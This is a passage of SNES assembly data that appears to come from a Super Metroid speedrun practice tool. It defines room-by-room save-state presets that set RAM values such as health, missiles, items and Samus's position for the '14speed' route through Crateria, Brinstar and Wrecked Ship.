$7ED852 : db $02 : dw $0000 ; Events, Items, Doors dl $7ED854 : db $02 : dw $0000 ; Events, Items, Doors dl $7ED856 : db $02 : dw $0000 ; Events, Items, Doors dl $7ED858 : db $02 : dw $0000 ; Events, Items, Doors dl $7ED85A : db $02 : dw $0000 ; Events, Items, Doors dl $7ED85C : db $02 : dw $0000 ; Events, Items, Doors dl $7ED85E : db $02 : dw $0000 ; Events, Items, Doors dl $7ED860 : db $02 : dw $0000 ; Events, Items, Doors dl $7ED862 : db $02 : dw $0000 ; Events, Items, Doors dl $7ED864 : db $02 : dw $0000 ; Events, Items, Doors dl $7ED866 : db $02 : dw $0000 ; Events, Items, Doors dl $7ED868 : db $02 : dw $0000 ; Events, Items, Doors dl $7ED86A : db $02 : dw $0000 ; Events, Items, Doors dl $7ED86C : db $02 : dw $0000 ; Events, Items, Doors dl $7ED86E : db $02 : dw $0000 ; Events, Items, Doors dl $7ED870 : db $02 : dw $0000 ; Events, Items, Doors dl $7ED872 : db $02 : dw $0000 ; Events, Items, Doors dl $7ED874 : db $02 : dw $0000 ; Events, Items, Doors dl $7ED876 : db $02 : dw $0000 ; Events, Items, Doors dl $7ED878 : db $02 : dw $0000 ; Events, Items, Doors dl $7ED87A : db $02 : dw $0000 ; Events, Items, Doors dl $7ED87C : db $02 : dw $0000 ; Events, Items, Doors dl $7ED87E : db $02 : dw $0000 ; Events, Items, Doors dl $7ED880 : db $02 : dw $0000 ; Events, Items, Doors dl $7ED882 : db $02 : dw $0000 ; Events, Items, Doors dl $7ED884 : db $02 : dw $0000 ; Events, Items, Doors dl $7ED886 : db $02 : dw $0000 ; Events, Items, Doors dl $7ED888 : db $02 : dw $0000 ; Events, Items, Doors dl $7ED88A : db $02 : dw $0000 ; Events, Items, Doors dl $7ED88C : db $02 : dw $0000 ; Events, Items, Doors dl $7ED88E : db $02 : dw $0000 ; Events, Items, Doors dl $7ED890 : db $02 : dw $0000 ; Events, Items, Doors dl $7ED892 : db $02 : dw $0000 ; Events, Items, Doors dl $7ED894 : db $02 : dw $0000 ; Events, Items, Doors dl $7ED896 : db $02 : dw $0000 ; Events, Items, Doors dl $7ED898 : db $02 : dw $0000 ; Events, Items, Doors dl $7ED89A : db $02 : dw $0000 ; Events, Items, Doors dl $7ED89C : db $02 : dw $0000 ; Events, Items, Doors dl $7ED89E : db $02 : dw $0000 ; Events, Items, Doors dl $7ED8A0 : db $02 : dw $0000 ; Events, Items, Doors dl $7ED8A2 : db $02 : dw $0000 ; Events, Items, Doors dl $7ED8A4 : db $02 : dw $0000 ; Events, Items, Doors dl $7ED8A6 : db $02 : dw $0000 ; Events, Items, Doors dl $7ED8A8 : db $02 : dw $0000 ; Events, Items, Doors dl $7ED8AA : db $02 : dw $0000 ; Events, Items, Doors dl $7ED8AC : db $02 : dw $0000 ; Events, Items, Doors dl $7ED8AE : db $02 : dw $0000 ; Events, Items, Doors dl $7ED8B0 : db $02 : dw $0000 ; Events, Items, Doors dl $7ED8B2 : db $02 : dw $0000 ; Events, Items, Doors dl $7ED8B4 : db $02 : dw $0000 ; Events, Items, Doors dl $7ED8B6 : db $02 : dw $0000 ; Events, Items, Doors dl $7ED8B8 : db $02 : dw $0000 ; Events, Items, Doors dl $7ED8BA : db $02 : dw $0000 ; Events, Items, Doors dl $7ED8BC : db $02 : dw $0000 ; Events, Items, Doors dl $7ED8BE : db $02 : dw $0000 ; Events, Items, Doors dl $7ED8C0 : db $02 : dw $0000 ; Events, Items, Doors dl $7ED8C2 : db $02 : dw $0000 ; Events, Items, Doors dl $7ED8C4 : db $02 : dw $0000 ; Events, Items, Doors dl $7ED8C6 : db $02 : dw $0000 ; Events, Items, Doors dl $7ED8C8 : db $02 : dw $0000 ; Events, Items, Doors dl $7ED8CA : db $02 : dw $0000 ; Events, Items, Doors dl $7ED8CC : db $02 : dw $0000 ; Events, Items, Doors dl $7ED8CE : db $02 : dw $0000 ; Events, Items, Doors dl $7ED8D0 : db $02 : dw $0000 ; Events, Items, Doors dl $7ED8D2 : db $02 : dw $0000 ; Events, Items, Doors dl $7ED8D4 : db $02 : dw $0000 ; Events, Items, Doors dl $7ED8D6 : db $02 : dw $0000 ; Events, Items, Doors dl $7ED8D8 : db $02 : dw $0000 ; Events, Items, Doors dl $7ED8DA : db $02 : dw $0000 ; Events, Items, Doors dl $7ED8DC : db $02 : dw $0000 ; Events, Items, Doors dl $7ED8DE : db $02 : dw $0000 ; Events, Items, Doors dl $7ED8E0 : db $02 : dw $0000 ; Events, Items, Doors dl $7ED8E2 : db $02 : dw $0000 ; Events, Items, Doors dl $7ED8E4 : db $02 : dw $0000 ; Events, Items, Doors dl $7ED8E6 : db $02 : dw $0000 ; Events, Items, Doors dl $7ED8E8 : db $02 : dw $0000 ; Events, Items, Doors dl $7ED8EA : db $02 : dw $0000 ; Events, Items, Doors dl $7ED8EC : db $02 : dw $0000 ; Events, Items, Doors dl $7ED8EE : db $02 : dw $0000 ; Events, Items, Doors dl $7ED8F0 : db $02 : dw $0000 ; Events, Items, Doors dl $7ED8F2 : db $02 : dw $0000 ; Events, Items, Doors dl $7ED8F4 : db $02 : dw $0000 ; Events, Items, Doors dl $7ED8F6 : db $02 : dw $0000 ; Events, Items, Doors dl $7ED8F8 : db $02 : dw $0000 ; Events, Items, Doors dl $7ED8FA : db $02 : dw $0000 ; Events, Items, Doors dl $7ED8FC : db $02 : dw $0000 ; Events, Items, Doors dl $7ED8FE : db $02 : dw $0000 ; Events, Items, Doors dl $7ED900 : db $02 : dw $0000 ; Events, Items, Doors dl $7ED902 : db $02 : dw $0000 ; Events, Items, Doors dl $7ED904 : db $02 : dw $0000 ; Events, Items, Doors dl $7ED906 : db $02 : dw $0000 ; Events, Items, Doors dl $7ED908 : db $02 : dw $0000 ; Events, Items, Doors dl $7ED90A : db $02 : dw $0000 ; Events, Items, Doors dl $7ED90C : db $02 : dw $0000 ; Events, Items, Doors dl $7ED90E : db $02 : dw $0000 ; Events, Items, Doors dl $7ED910 : db $02 : dw $0000 ; Events, Items, Doors dl $7ED912 : db $02 : dw $0000 ; Events, Items, Doors dl $7ED914 : db $02 : dw $001F ; Events, Items, Doors dl $7ED916 : db $02 : dw $0000 ; Events, Items, Doors dl $7ED918 : db $02 : dw $0006 ; Events, Items, Doors dl $7ED91A : db $02 : dw $0000 ; Events, Items, Doors dl $7ED91C : db $02 : dw $0000 ; Events, Items, Doors dl $7ED91E : db $02 : dw $0000 ; Events, Items, Doors dw #$FFFF .after preset_14speed_crateria_ceres_last_3_rooms: dw #preset_14speed_crateria_ceres_elevator ; Crateria: Ceres Elevator dl $7E078D : db $02 : dw $ABA0 ; DDB dl $7E079B : db $02 : dw $E021 ; MDB dl $7E07C3 : db $02 : dw $B004 ; GFX Pointers dl $7E07C5 : db $02 : dw $E3C0 ; GFX Pointers dl $7E07F3 : db $02 : dw $0024 ; Music Bank dl $7E07F5 : db $02 : dw $0007 ; Music Track dl $7E090F : db $02 : dw $7400 ; Screen subpixel X position. dl $7E0913 : db $02 : dw $F000 ; Screen subpixel Y position dl $7E093F : db $02 : dw $0002 ; Ceres escape flag dl $7E09C2 : db $02 : dw $0018 ; Health dl $7E0A1C : db $02 : dw $0002 ; Samus position/state dl $7E0A1E : db $02 : dw $0004 ; More position/state dl $7E0AF6 : db $02 : dw $004E ; Samus X dl $7E0AFA : db $02 : dw $00A2 ; Samus Y dl $7ED82E : db $02 : dw $0001 ; Events, Items, Doors dw #$FFFF .after preset_14speed_crateria_ship: dw #preset_14speed_crateria_ceres_last_3_rooms ; Crateria: Ceres Last 3 Rooms dl $7E078D : db $02 : dw $88FE ; DDB dl $7E079B : db $02 : dw $91F8 ; MDB dl $7E079F : db $02 : dw $0000 ; Region dl $7E07C3 : db $02 : dw $C629 ; GFX Pointers dl $7E07C5 : db $02 : dw $7CBA ; GFX Pointers dl $7E07C7 : db $02 : dw $C2AD ; GFX Pointers dl $7E07F3 : db $02 : dw $0006 ; Music Bank dl $7E07F5 : db $02 : dw $0005 ; Music Track dl $7E090F : db $02 : dw $1000 ; Screen subpixel X position. dl $7E0911 : db $02 : dw $03FB ; Screen X position in pixels dl $7E0913 : db $02 : dw $C000 ; Screen subpixel Y position dl $7E0915 : db $02 : dw $03D3 ; Screen Y position in pixels dl $7E093F : db $02 : dw $0000 ; Ceres escape flag dl $7E09C2 : db $02 : dw $0063 ; Health dl $7E0AF6 : db $02 : dw $047E ; Samus X dl $7E0AFA : db $02 : dw $0443 ; Samus Y dl $7ED7F8 : db $02 : dw $0030 ; SRAM copy dl $7ED7FA : db $02 : dw $0006 ; SRAM copy dl $7ED7FC : db $02 : dw $0001 ; SRAM copy dl $7ED8F8 : db $02 : dw $0001 ; Events, Items, Doors dl $7ED914 : db $02 : dw $0005 ; Events, Items, Doors dl $7ED918 : db $02 : dw $0000 ; Events, Items, Doors dl $7ED91C : db $02 : dw $1010 ; Events, Items, Doors dw #$FFFF .after preset_14speed_crateria_morph: dw #preset_14speed_crateria_ship ; Crateria: Ship dl $7E078D : db $02 : dw $8B9E ; DDB dl $7E078F : db $02 : dw $0003 ; DoorOut Index dl $7E079B : db $02 : dw $9E9F ; MDB dl $7E079F : db $02 : dw $0001 ; Region dl $7E07C3 : db $02 : dw $E6B0 ; GFX Pointers dl $7E07C5 : db $02 : dw $64BB ; GFX Pointers dl $7E07C7 : db $02 : dw $C2B2 ; GFX Pointers dl $7E07F5 : db $02 : dw $0007 ; Music Track dl $7E090F : db $02 : dw $7000 ; Screen subpixel X position. dl $7E0911 : db $02 : dw $04FB ; Screen X position in pixels dl $7E0915 : db $02 : dw $0200 ; Screen Y position in pixels dl $7E0AF6 : db $02 : dw $057D ; Samus X dl $7E0AFA : db $02 : dw $02AB ; Samus Y dl $7ED91A : db $02 : dw $0001 ; Events, Items, Doors dw #$FFFF .after preset_14speed_crateria_climb: dw #preset_14speed_crateria_morph ; Crateria: Morph dl $7E078D : db $02 : dw $8B92 ; DDB dl $7E078F : db $02 : dw $0000 ; DoorOut Index dl $7E079B : db $02 : dw $975C ; MDB dl $7E079F : db $02 : dw $0000 ; Region dl $7E07C3 : db $02 : dw $F911 ; GFX Pointers dl $7E07C5 : db $02 : dw $43BA ; GFX Pointers dl $7E07C7 : db $02 : dw $C2AF ; GFX Pointers dl $7E07F3 : db $02 : dw $0009 ; Music Bank dl $7E07F5 : db $02 : dw $0005 ; Music Track dl $7E090F : db $02 : dw $0000 ; Screen subpixel X position. dl $7E0911 : db $02 : dw $0000 ; Screen X position in pixels dl $7E0913 : db $02 : dw $DC00 ; Screen subpixel Y position dl $7E0915 : db $02 : dw $0000 ; Screen Y position in pixels dl $7E09A2 : db $02 : dw $0004 ; Equipped Items dl $7E09A4 : db $02 : dw $0004 ; Collected Items dl $7E09C2 : db $02 : dw $0054 ; Health dl $7E09C6 : db $02 : dw $0005 ; Missiles dl $7E09C8 : db $02 : dw $0005 ; Max missiles dl $7E0AF6 : db $02 : dw $008B ; Samus X dl $7E0AFA : db $02 : dw $008B ; Samus Y dl $7ED820 : db $02 : dw $0001 ; Events, Items, Doors dl $7ED872 : db $02 : dw $0400 ; Events, Items, Doors dl $7ED874 : db $02 : dw $0004 ; Events, Items, Doors dl $7ED8B2 : db $02 : dw $0400 ; Events, Items, Doors dl $7ED91A : db $02 : dw $0004 ; Events, Items, Doors dw #$FFFF .after preset_14speed_crateria_bomb_torizo: dw #preset_14speed_crateria_climb ; Crateria: Climb dl $7E078D : db $02 : dw $8982 ; DDB dl $7E078F : db $02 : dw $0003 ; DoorOut Index dl $7E079B : db $02 : dw $9879 ; MDB dl $7E090F : db $02 : dw $4000 ; Screen subpixel X position. dl $7E0911 : db $02 : dw $0200 ; Screen X position in pixels dl $7E0913 : db $02 : dw $8C00 ; Screen subpixel Y position dl $7E09C2 : db $02 : dw $0063 ; Health dl $7E09C6 : db $02 : dw $0000 ; Missiles dl $7E0A1C : db $02 : dw $0001 ; Samus position/state dl $7E0A1E : db $02 : dw $0008 ; More position/state dl $7E0AF6 : db $02 : dw $02C0 ; Samus X dl $7ED8B2 : db $02 : dw $2400 ; Events, Items, Doors dw #$FFFF .after preset_14speed_crateria_terminator: dw #preset_14speed_crateria_bomb_torizo ; Crateria: Bomb Torizo dl $7E078D : db $02 : dw $8BB6 ; DDB dl $7E078F : db $02 : dw $0000 ; DoorOut Index dl $7E079B : db $02 : dw $92FD ; MDB dl $7E07C3 : db $02 : dw $C629 ; GFX Pointers dl $7E07C5 : db $02 : dw $7CBA ; GFX Pointers dl $7E07C7 : db $02 : dw $C2AD ; GFX Pointers dl $7E090F : db $02 : dw $0400 ; Screen subpixel X position. dl $7E0911 : db $02 : dw $0100 ; Screen X position in pixels dl $7E0913 : db $02 : dw $87FF ; Screen subpixel Y position dl $7E09A2 : db $02 : dw $1004 ; Equipped Items dl $7E09A4 : db $02 : dw $1004 ; Collected Items dl $7E09C6 : db $02 : dw $0005 ; Missiles dl $7E0A1C : db $02 : dw $0041 ; Samus position/state dl $7E0A1E : db $02 : dw $0404 ; More position/state dl $7E0AF6 : db $02 : dw $0115 ; Samus X dl $7E0AFA : db $02 : dw $0099 ; Samus Y dl $7ED828 : db $02 : dw $0004 ; Events, Items, Doors dl $7ED870 : db $02 : dw $0080 ; Events, Items, Doors dl $7ED8B2 : db $02 : dw $2C00 ; Events, Items, Doors dl $7ED91A : db $02 : dw $0005 ; Events, Items, Doors dw #$FFFF .after preset_14speed_brinstar_green_brinstar_elevator: dw #preset_14speed_crateria_terminator ; Crateria: Terminator dl $7E078D : db $02 : dw $8C22 ; DDB dl $7E078F : db $02 : dw $0002 ; DoorOut Index dl $7E079B : db $02 : dw $9938 ; MDB dl $7E07C3 : db $02 : dw $F911 ; GFX Pointers dl $7E07C5 : db $02 : dw $43BA ; GFX Pointers dl $7E07C7 : db $02 : dw $C2AF ; GFX Pointers dl $7E07F5 : db $02 : dw $0003 ; Music Track dl $7E090F : db $02 : dw $4000 ; Screen subpixel X position. dl $7E0911 : db $02 : dw $0000 ; Screen X position in pixels dl $7E0913 : db $02 : dw $A800 ; Screen subpixel Y position dl $7E09C2 : db $02 : dw $00C7 ; Health dl $7E09C4 : db $02 : dw $00C7 ; Max helath dl $7E09C6 : db $02 : dw $0002 ; Missiles dl $7E0A1C : db $02 : dw $0002 ; Samus position/state dl $7E0A1E : db $02 : dw $0004 ; More position/state dl $7E0AF6 : db $02 : dw $0082 ; Samus X dl $7E0AFA : db $02 : dw $008B ; Samus Y dl $7ED870 : db $02 : dw $0180 ; Events, Items, Doors dl $7ED91A : db $02 : dw $0008 ; Events, Items, Doors dw #$FFFF .after preset_14speed_brinstar_big_pink: dw #preset_14speed_brinstar_green_brinstar_elevator ; Brinstar: Green Brinstar Elevator dl $7E078D : db $02 : dw $8CE2 ; DDB dl $7E078F : db $02 : dw $0005 ; DoorOut Index dl $7E079B : db $02 : dw $9CB3 ; MDB dl $7E079F : db $02 : dw $0001 ; Region dl $7E07C3 : db $02 : dw $E6B0 ; GFX Pointers dl $7E07C5 : db $02 : dw $64BB ; GFX Pointers dl $7E07C7 : db $02 : dw $C2B2 ; GFX Pointers dl $7E07F3 : db $02 : dw $000F ; Music Bank dl $7E07F5 : db $02 : dw $0005 ; Music Track dl $7E090F : db $02 : dw $6000 ; Screen subpixel X position. dl $7E0911 : db $02 : dw $0600 ; Screen X position in pixels dl $7E0913 : db $02 : dw $C000 ; Screen subpixel Y position dl $7E09C6 : db $02 : dw $0000 ; Missiles dl $7E09CA : db $02 : dw $0004 ; Supers dl $7E09CC : db $02 : dw $0005 ; Max supers dl $7E0A1C : db $02 : dw $0001 ; Samus position/state dl $7E0A1E : db $02 : dw $0008 ; More position/state dl $7E0AF6 : db $02 : dw $06AD ; Samus X dl $7ED872 : db $02 : dw $0401 ; Events, Items, Doors dl $7ED8B4 : db $02 : dw $0006 ; Events, Items, Doors dl $7ED91A : db $02 : dw $000C ; Events, Items, Doors dw #$FFFF .after preset_14speed_brinstar_red_tower: dw #preset_14speed_brinstar_big_pink ; Brinstar: Big Pink dl $7E078D : db $02 : dw $8E92 ; DDB dl $7E078F : db $02 : dw $0002 ; DoorOut Index dl $7E079B : db $02 : dw $9FBA ; MDB dl $7E090F : db $02 : dw $3000 ; Screen subpixel X position. dl $7E0911 : db $02 : dw $0500 ; Screen X position in pixels dl $7E0913 : db $02 : dw $E800 ; Screen subpixel Y position dl $7E09A6 : db $02 : dw $1000 ; Beams dl $7E09A8 : db $02 : dw $1000 ; Beams dl $7E0AF6 : db $02 : dw $05C1 ; Samus X dl $7ED872 : db $02 : dw $0481 ; Events, Items, Doors dl $7ED8B4 : db $02 : dw $0206 ; Events, Items, Doors dl $7ED8B6 : db $02 : dw $0008 ; Events, Items, Doors dl $7ED91A : db $02 : dw $0010 ; Events, Items, Doors dw #$FFFF .after preset_14speed_brinstar_hellway: dw #preset_14speed_brinstar_red_tower ; Brinstar: Red Tower dl $7E078D : db $02 : dw $8F0A ; DDB dl $7E078F : db $02 : dw $0001 ; DoorOut Index dl $7E079B : db $02 : dw $A253 ; MDB dl $7E07C3 : db $02 : dw $A5AA ; GFX Pointers dl $7E07C5 : db $02 : dw $5FBC ; GFX Pointers dl $7E07C7 : db $02 : dw $C2B3 ; GFX Pointers dl $7E07F3 : db $02 : dw $0012 ; Music Bank dl $7E090F : db $02 : dw $5FFF ; Screen subpixel X position. dl $7E0911 : db $02 : dw $0000 ; Screen X position in pixels dl $7E0913 : db $02 : dw $A400 ; Screen subpixel Y position dl $7E0915 : db $02 : dw $000B ; Screen Y position in pixels dl $7E0AF6 : db $02 : dw $0098 ; Samus X dw #$FFFF .after preset_14speed_brinstar_caterpillar_room: dw #preset_14speed_brinstar_hellway ; Brinstar: Hellway dl $7E078D : db $02 : dw $901E ; DDB dl $7E078F : db $02 : dw $0000 ; DoorOut Index dl $7E079B : db $02 : dw $A2F7 ; MDB dl $7E090F : db $02 : dw $D000 ; Screen subpixel X position. dl $7E0911 : db $02 : dw $0200 ; Screen X position in pixels dl $7E0913 : db $02 : dw $4400 ; Screen subpixel Y position dl $7E0915 : db $02 : dw $0000 ; Screen Y position in pixels dl $7E09C2 : db $02 : dw $00B7 ; Health dl $7E09C6 : db $02 : dw $0002 ; Missiles dl $7E0AF6 : db $02 : dw $0298 ; Samus X dw #$FFFF .after preset_14speed_brinstar_leaving_power_bombs: dw #preset_14speed_brinstar_caterpillar_room ; Brinstar: Caterpillar Room dl $7E078D : db $02 : dw $9096 ; DDB dl $7E079B : db $02 : dw $A3AE ; MDB dl $7E07F5 : db $02 : dw $0003 ; Music Track dl $7E090F : db $02 : dw $0001 ; Screen subpixel X position. dl $7E0911 : db $02 : dw $0100 ; Screen X position in pixels dl $7E0913 : db $02 : dw $0C00 ; Screen subpixel Y position dl $7E09C2 : db $02 : dw $00AD ; Health dl $7E09CA : db $02 : dw $0003 ; Supers dl $7E09CE : db $02 : dw $0005 ; Pbs dl $7E09D0 : db $02 : dw $0005 ; Max pbs dl $7E0AF6 : db $02 : dw $0157 ; Samus X dl $7E0AFA : db $02 : dw $00AB ; Samus Y dl $7ED874 : db $02 : dw $0104 ; Events, Items, Doors dl $7ED8B6 : db $02 : dw $2008 ; Events, Items, Doors dl $7ED91A : db $02 : dw $0012 ; Events, Items, Doors dw #$FFFF .after preset_14speed_brinstar_kihunter_room: dw #preset_14speed_brinstar_leaving_power_bombs ; Brinstar: Leaving Power Bombs dl $7E078D : db $02 : dw $90BA ; DDB dl $7E078F : db $02 : dw $0002 ; DoorOut Index dl $7E079B : db $02 : dw $962A ; MDB dl $7E079F : db $02 : dw $0000 ; Region dl $7E07C3 : db $02 : dw $F911 ; GFX Pointers dl $7E07C5 : db $02 : dw $43BA ; GFX Pointers dl $7E07C7 : db $02 : dw $C2AF ; GFX Pointers dl $7E090F : db $02 : dw $C000 ; Screen subpixel X position. dl $7E0911 : db $02 : dw $0000 ; Screen X position in pixels dl $7E0913 : db $02 : dw $5000 ; Screen subpixel Y position dl $7E09C2 : db $02 : dw $009E ; Health dl $7E09CA : db $02 : dw $0005 ; Supers dl $7E09CE : db $02 : dw $0003 ; Pbs dl $7E0A1C : db $02 : dw $0002 ; Samus position/state dl $7E0A1E : db $02 : dw $0004 ; More position/state dl $7E0AF6 : db $02 : dw $008A ; Samus X dl $7E0AFA : db $02 : dw $005B ; Samus Y dl $7ED8B2 : db $02 : dw $2C01 ; Events, Items, Doors dl $7ED8B6 : db $02 : dw $3008 ; Events, Items, Doors dw #$FFFF .after preset_14speed_brinstar_moat: dw #preset_14speed_brinstar_kihunter_room ; Brinstar: Kihunter Room dl $7E078D : db $02 : dw $8AF6 ; DDB dl $7E078F : db $02 : dw $0000 ; DoorOut Index dl $7E079B : db $02 : dw $948C ; MDB dl $7E07C3 : db $02 : dw $C629 ; GFX Pointers dl $7E07C5 : db $02 : dw $7CBA ; GFX Pointers dl $7E07C7 : db $02 : dw $C2AD ; GFX Pointers dl $7E07F5 : db $02 : dw $0005 ; Music Track dl $7E090F : db $02 : dw $5C00 ; Screen subpixel X position. dl $7E0911 : db $02 : dw $0200 ; Screen X position in pixels dl $7E0913 : db $02 : dw $4800 ; Screen subpixel Y position dl $7E09CE : db $02 : dw $0001 ; Pbs dl $7E0A1C : db $02 : dw $0001 ; Samus position/state dl $7E0A1E : db $02 : dw $0008 ; More position/state dl $7E0AF6 : db $02 : dw $02DB ; Samus X dl $7E0AFA : db $02 : dw $008B ; Samus Y dl $7ED8B0 : db $02 : dw $6000 ; Events, Items, Doors dw #$FFFF .after preset_14speed_brinstar_ocean: dw #preset_14speed_brinstar_moat ; Brinstar: Moat dl $7E078D : db $02 : dw $8A36 ; DDB dl $7E078F : db $02 : dw $0001 ; DoorOut Index dl $7E079B : db $02 : dw $95FF ; MDB dl $7E090F : db $02 : dw $2000 ; Screen subpixel X position. dl $7E0911 : db $02 : dw $0100 ; Screen X position in pixels dl $7E0913 : db $02 : dw $0000 ; Screen subpixel Y position dl $7E09C6 : db $02 : dw $0007 ; Missiles dl $7E09C8 : db $02 : dw $000A ; Max missiles dl $7E0AF6 : db $02 : dw $01A1 ; Samus X dl $7ED870 : db $02 : dw $0190 ; Events, Items, Doors dl $7ED91A : db $02 : dw $0013 ; Events, Items, Doors dw #$FFFF .after preset_14speed_wrecked_ship_wrecked_ship_shaft: dw #preset_14speed_brinstar_ocean ; Brinstar: Ocean dl $7E078D : db $02 : dw $89D6 ; DDB dl $7E079B : db $02 : dw $CA08 ; MDB dl $7E079F : db $02 : dw $0003 ; Region dl $7E07C3 : db $02 : dw $AE9E ; GFX Pointers dl $7E07C5 : db $02 : dw $A6BB ; GFX Pointers dl $7E07C7 : db $02 : dw $C2B1 ; GFX Pointers dl $7E07F3 : db $02 : dw $0030 ; Music Bank dl $7E090F : db $02 : dw $0000 ; Screen subpixel X position. dl $7E0911 : db $02 : dw $02D8 ; Screen X position in pixels dl $7E09CA : db $02 : dw $0004 ; Supers dl $7E0AF6 : db $02 : dw $0338 ; Samus X dl $7ED8B0 : db $02 : dw $7000 ; Events, Items, Doors dl $7ED91A : db $02 : dw $0016 ; Events, Items, Doors dw #$FFFF .after preset_14speed_wrecked_ship_phantoon: dw #preset_14speed_wrecked_ship_wrecked_ship_shaft ; Wrecked Ship: Wrecked Ship Shaft dl $7E078D : db $02 : dw $A21C ; DDB dl $7E078F : db $02 : dw $0003 ; DoorOut Index dl $7E079B : db $02 : dw $CC6F ; MDB dl $7E090F : db $02 : dw $F000 ; Screen subpixel X position. dl $7E0911 : db $02 : dw $0400 ; Screen X position in pixels dl $7E0913 : db $02 : dw $7400 ; Screen subpixel Y position dl $7E09CA : db $02 : dw $0002 ; Supers dl $7E0AF6 : db $02 : dw $04CF ; Samus X dl $7ED8C0 : db $02 : dw $0030 ; Events, Items, Doors dl $7ED91A : db $02 : dw $0017 ; Events, Items, Doors dw #$FFFF .after preset_14speed_wrecked_ship_wrecked_ship_supers: dw #preset_14speed_wrecked_ship_phantoon ; Wrecked Ship: Phantoon dl $7E078D : db $02 : dw $A2C4 ; DDB dl $7E078F : db $02 : dw $0000 ; DoorOut Index dl $7E07C5 : db $02 : dw $E7BB ; GFX Pointers dl $7E07C7 : db $02 : dw $C2B0 ; GFX Pointers dl $7E07F5 : db $02 : dw $0006 ; Music Track dl $7E090F : db $02 : dw $0000 ; Screen subpixel X position. dl $7E0911 : db $02 : dw $0229 ; Screen X position in pixels dl $7E0913 : db $02 : dw $AC00 ; Screen subpixel Y position dl $7E09C2 : db $02 : dw $00C7 ; Health dl $7E09C6 : db $02 : dw $000A ; Missiles dl $7E09CA : db $02 : dw $0005 ; Supers dl $7E09CE : db $02 : dw $0002 ; Pbs dl $7E0A1C : db $02 : dw $0002 ; Samus position/state dl $7E0A1E : db $02 : dw $0004 ; More position/state dl $7E0AF6 : db $02 : dw $02C9 ; Samus X dl $7E0AFA : db $02 : dw $006B ; Samus Y dl $7ED82A : db $02 : dw $0100 ; Events, Items, Doors dl $7ED8C0 : db $02 : dw $0070 ; Events, Items, Doors dw #$FFFF .after preset_14speed_wrecked_ship_shaft_revisit: dw #preset_14speed_wrecked_ship_wrecked_ship_supers ; Wrecked Ship: Wrecked Ship Supers dl $7E078D : db $02 : dw $A210 ; DDB dl $7E078F : db $02 : dw $0002 ; DoorOut Index dl $7E079B : db $02 : dw $CDA8 ; MDB dl $7E090F : db $02 : dw $7000 ; Screen subpixel X position. dl $7E0911 : db $02 : dw $0000 ; Screen X position in pixels dl $7E0913 : db $02 : dw $4800 ; Screen subpixel Y position dl $7E09CA : db $02 : dw $000A ; Supers dl $7E09CC : db $02 : dw $000A ; Max supers dl $7E09CE : db $02 : dw $0001 ; Pbs dl $7E0A1C : db $02 : dw $0001 ; Samus position/state dl $7E0A1E : db $02 : dw $0008 ; More position/state dl $7E0AF6 : db $02 : dw $00C4 ; Samus X dl $7E0AFA : db $02 : dw $008B ; Samus Y dl $7ED880 : db $02 : dw $0020 ; Events, Items, Doors dl $7ED8C0 : db $02 : dw $0074 ; Events, Items, Doors dl $7ED91A : db $02 : dw $0019 ; Events, Items, Doors dw #$FFFF .after preset_14speed_wrecked_ship_attic: dw #preset_14speed_wrecked_ship_shaft_revisit ; Wrecked Ship: Shaft Revisit dl $7E078D : db $02 : dw $A2E8 ; DDB dl $7E078F : db $02 : dw $0000 ; DoorOut Index dl $7E079B : db $02 : dw $CAF6 ; MDB dl $7E090F : db $02 : dw $E000 ; Screen subpixel X position. dl $7E0911 : db $02 : dw $0400 ; Screen X position in pixels dl $7E0913 : db $02 : dw $B000 ; Screen subpixel Y position dl $7E0AF6 : db $02 : dw $044D ; Samus X dl $7E0AFA : db $02 : dw $006B ; Samus Y dl $7ED91A : db $02 : dw $001A ; Events, Items, Doors dw #$FFFF .after preset_14speed_wrecked_ship_bowling_alley_path: dw #preset_14speed_wrecked_ship_attic ; Wrecked Ship: Attic dl $7E078D : db $02 : dw $A1E0 ; DDB dl $7E078F : db $02 : dw $0002 ; DoorOut Index dl $7E079B : db $02 : dw $93FE ; MDB dl $7E079F : db $02 : dw $0000 ; Region dl $7E07C3 : db $02 : dw $C629 ; GFX Pointers dl $7E07C5 : db $02 : dw $7CBA ; GFX Pointers dl $7E07C7 : db $02 : dw $C2AD ; GFX Pointers dl $7E07F3 : db $02 : dw $000C ; Music Bank dl $7E07F5 : db $02 : dw $0005 ; Music Track dl $7E090F : db $02 : dw $B000 ; Screen subpixel X position. dl $7E0911 : db $02 : dw $0200 ; Screen X position in pixels dl $7E0913 : db $02 : dw $1800 ; Screen subpixel Y position dl $7E0915 : db $02 : dw $0202 ; Screen Y position in pixels dl $7E09C6 : db $02 : dw $0002 ; Missiles dl $7E09CA : db $02 : dw $0009 ; Supers dl $7E09CE : db $02 : dw $0000 ; Pbs dl $7E0AF6 : db $02 : dw $02C6 ; Samus X dl $7E0AFA : db $02 : dw $028B ; Samus Y dl $7ED8C0 : db $02 : dw $0174 ; Events, Items, Doors dl $7ED91A : db $02 : dw $001D ; Events, Items, Doors dw #$FFFF .after preset_14speed_wrecked_ship_bowling_alley: dw #preset_14speed_wrecked_ship_bowling_alley_path ; Wrecked Ship: Bowling Alley Path dl $7E078D : db $02 : dw $8A1E ; DDB dl $7E078F : db $02 : dw $0001 ; DoorOut Index dl $7E079B : db $02 : dw $968F ; MDB dl $7E090F : db $02 : dw $3800 ; Screen subpixel X position. dl $7E0911 : db $02 : dw $0000 ; Screen X position in pixels dl $7E0913 : db $02 : dw $BC00 ; Screen subpixel Y position dl $7E0915 : db $02 : dw $0000 ; Screen Y position in pixels dl $7E09C2 : db $02 : dw $00BD ; Health dl $7E0AF6 : db $02 : dw $002E ; Samus X dl $7E0AFA : db $02 : dw $008B ; Samus Y dw #$FFFF .after preset_14speed_wrecked_ship_leaving_gravity: dw #preset_14speed_wrecked_ship_bowling_alley ; Wrecked Ship: Bowling Alley dl $7E078D : db $02 : dw $A1A4 ; DDB dl $7E078F : db $02 : dw $0002 ; DoorOut Index dl $7E079B : db $02 : dw $CE40 ; MDB dl $7E079F : db $02 : dw $0003 ; Region dl $7E07C3 : db $02 : dw $AE9E ; GFX Pointers dl $7E07C5 : db $02 : dw $E7BB ; GFX Pointers dl $7E07C7 : db $02 : dw $C2B0 ; GFX Pointers dl $7E07F3 : db $02 : dw $0030 ; Music Bank dl $7E07F5 : db $02 : dw $0003 ; Music Track dl $7E090F : db $02 : dw $3000 ; Screen subpixel X position. dl $7E0913 : db $02 : dw $5800 ; Screen subpixel Y position dl $7E09A2 : db $02 : dw $1024 ; Equipped Items dl $7E09A4 : db $02 : dw $1024 ; Collected Items dl $7E09C2 : db $02 : dw $0045 ; Health dl $7E0A1C : db $02 : dw $009B ; Samus 